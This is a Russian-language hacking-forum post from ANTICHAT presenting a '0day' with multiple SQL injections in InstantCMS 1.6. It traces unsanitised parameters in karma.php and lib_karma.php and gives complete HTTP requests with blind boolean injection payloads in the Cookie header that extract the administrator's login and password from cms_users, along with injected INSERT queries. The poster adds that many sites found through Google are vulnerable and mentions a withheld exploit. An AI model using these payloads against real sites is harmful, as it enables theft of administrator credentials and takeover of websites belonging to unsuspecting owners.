ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

08.05.2010, 22:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
0day
минуточку внимания.
Instant cms.
Множественные sql инъекции
Применимо:Для всех версии(на сегодня последняя 1.6).
Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!!
Постараюсь рассказать процесс и его суть в точности как он проходил у меня
идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=1&opt=plus&target=content&item_id=20
POST'ом перекинули значения на /core/ajax/karma.php
вот са фак:
Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG.
/core/ajax/karma.php
PHP код:
if (!isset($_REQUEST['target'])) { die(2); } else { $target = $_REQUEST['target']; }
if (!isset($_REQUEST['item_id'])) { die(3); } else { $item_id = $_REQUEST['item_id']; }
if (!isset($_REQUEST['opt'])) { die(4); } else { $opt = $_REQUEST['opt']; }
теперь функции
PHP код:
if (!$inUser->update()) { $inCore->halt(); }
................................
$inCore->loadLib('karma');
if ($opt=='plus'){
cmsSubmitKarma($target, $item_id, 10);
}
if ($opt=='minus'){
cmsSubmitKarma($target, $item_id, -1);
}
$postkarma = cmsKarma($target, $item_id);
...........................
Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a.
/core/cms.php
PHP код:
public function loadLib($lib){
$libfile = PATH.'/core/lib_'.$lib.'.php';
if (file_exists($libfile)){
include_once($libfile);
return true;
}
понятно. Значит
$inCore->loadLib('karma');
подгрузит нам:
/core/lib_karma.php
Значит что тут.
/core/lib_karma.php
PHP код:
function cmsKarma($target, $item_id){ //returns array with total votes and total points of karma
$inDB = cmsDatabase::getInstance();
$sql = "SELECT *, SUM(points) as points, COUNT(id) as votes
FROM cms_ratings
WHERE item_id = $item_id AND target='$target'
GROUP BY item_id";
$result = $inDB->query($sql);
if ($inDB->num_rows($result)){
$data = $inDB->fetch_assoc($result);
$data['points'] = round($data['points'], 2);
} else {
$data['points'] = 0;
$data['votes'] = 0;
}
return $data;
}
Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =)
Вернемся к нашему отснифаному пакету. И модифицируем его так:
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логическая единица.
Код:
POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39
cd=&opt=plus&target=conten
Это логический 0.
По причине фильтра POST данных переопределяем item_id через куки.
Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод.
Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php.
lib.karma.php
PHP код:
function cmsSubmitKarma($target, $item_id, $points){
$inUser = cmsUser::getInstance();
$inDB = cmsDatabase::getInstance();
$id = $inUser->id;
$ip = $_SERVER['REMOTE_ADDR'];
if(!cmsAlreadyKarmed($target, $item_id, $id)){
$sql = "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())";
$inDB->query($sql);
}
return true;
}
вышеупомянутая SubmitKarma
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())
Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
логический 0
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())
Логическая единица.
Последний раз редактировалось The matrix; 08.05.2010 в 23:00..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|